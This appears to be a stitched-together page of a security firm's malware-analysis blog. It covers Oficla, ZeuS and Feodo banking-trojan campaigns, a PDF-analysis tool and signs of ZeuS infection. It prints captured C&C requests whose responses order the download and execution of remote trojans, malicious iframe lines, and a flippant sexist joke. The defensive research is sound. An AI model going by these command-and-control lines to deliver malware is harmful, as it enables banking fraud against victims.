Malware

Análisis

This time I've received a nicer e-mail, a woman sending me her CV!! with a picture of her included too!! :) In fact, she has included in the image some words too, a bit strange...

Again the same actors: Oficla and ZeuS. This time not Feodo downloading. Inside the zip file we can find the Oficla sample, with a medium detection rate. It connects with the domain showtimeru.ru (now it's down) to ask for URLs to download more malware:

http://showtimeru.ru/show/bb.php?v=200&id=428308300&b=0711_e&tm=6832
[info]runurl:http://1xx.1xx.1xx.46/test/esmilk.exe|taskid:8|delay:15|upd:0|backurls:[/info]

The server response contained the same URL (active yet) as the DHL campaign, downloading the same version of ZeuS, different MD5.

Beware with women!! they are not trustful!! ;)

http://xxxxxx.ru/mydog/bb.php?v=200&id=428308299&b=2510_dhl&tm=1397
[info]runurl:http://1xx.1xx.1xx.xx/test/morph.exe|taskid:16|delay:15|upd:0|backurls:[/info]

http://xxxxxx.ru/mydog/bb.php?v=200&id=428308299&tid=16&b=2510_dhl&r=1&tm=1397
[info]kill:0|runurl:http://1xx.1xx.1xx.xx/test/esmilk.exe|taskid:17|delay:15|upd:0|backurls:[/info]

Both of the downloaded files, morph.exe and esmilk.exe, are banking trojans. The former is a sample of Feodo, with a low detection rate (7/41), which downloads the configuration file from a server after sending to it a POST request:

The whole MitB core was written in Javascript and the actions performed to make the fraudulent transaction are the following:

• When the user goes to the accounts details screen the information (account number, type of account and balance) of all of them are grabbed and sent to the malicious server in a serialized array:

  ["maxCheck" = ["name" = "MY_ACCOUNT_NAME",
                 "check" = "MY_ACCOUNT_NUMBER",
                 "sum" = $$$],
   "allChecks" = [ 0 = ["name" = "MY_ACCOUNT_NAME",
                        "check" = "MY_ACCOUNT_NUMBER",
                        "sum" = $$$]
                 ]
  ]

   

• From all the possible accounts it's chosen like preferred the one with more money (maxCheck array).

Language: Python

Publication date: 2009-06-02

Updated: 2010-01-10

Description: Script to analyze malicious PDF files containing obfuscated Javascript code. It uses Spidermonkey to execute the found Javascript code and showing the shellcode to be launched. Sometimes it's not able to deobfuscate the code, but you can specify the parameter -w to write to disk the Javascript code, helping to carry out a later manual analysis. Its output has five sections where you can find trigger events (/OpenAction and /AA), suspicious actions (/JS, /Launch, /SubmitForm and /ImportData), vulnerable elements, escaped bytes and URLs, which can be useful to get an idea of the file risk.

Requirements: Spidermonkey (and Pyrex).

Download it!

Usage

La página a la que redirigía el iframe contenía a su vez otros dos iframes:

<iframe g1g="321" src="xd/pdf.pdf" l="56" height="31" width="13">
<iframe g1g="321" src="xd/sNode.php" l="56" height="31" width="13">

The evolution continues. Some days ago a new ZeuS binary appeared with the version number 1.3.0.26. This new development is an attempt to improve the stealth techniques used to date, as stated in one of the TODO files found some time ago. After just a quick look, one can notice the following changes:

• When it's executed and the system isn't infected yet, it copies itself in the directory %SystemRoot%/system32, but with a different filename in each execution. Also it gets the basic file information from the %SystemRoot%/system32/ntdll.dll file (creation, last access and modification dates).

• If it finds a previous ZeuS version installed it deletes the binary, leaves and shows the hidden files in the next reboot. To give an idea of the situation, one of the latest samples with sdra64.exe as executable filename is the 1.2.12 one.

• Apparently the configuration and data files are not stored on disk anymore but they're exclusively stored in memory.

In the S21sec blog we have been talking some time ago about our dear friend, almost one more colleague: ZeuS. It is a malware with more than 3 years of life which continues changing and evolving to hide itself better and making the fraud more efficient. But what we maybe have not mentioned yet is how to know if our little friend is here, spying all our movements and reporting all of this to its parents, because sometimes the AV software is not so effective as we expect.

There are several evidences in its different versions which mean that we are infected with ZeuS:

• Filesystem

ZeuS leaves a trace in the filesystem when it's installed in the computer, but it hides and blocks all the files it creates, avoiding that a normal user can see and delete them. The solution to find these files is using antirootkit software which will show us the hidden files.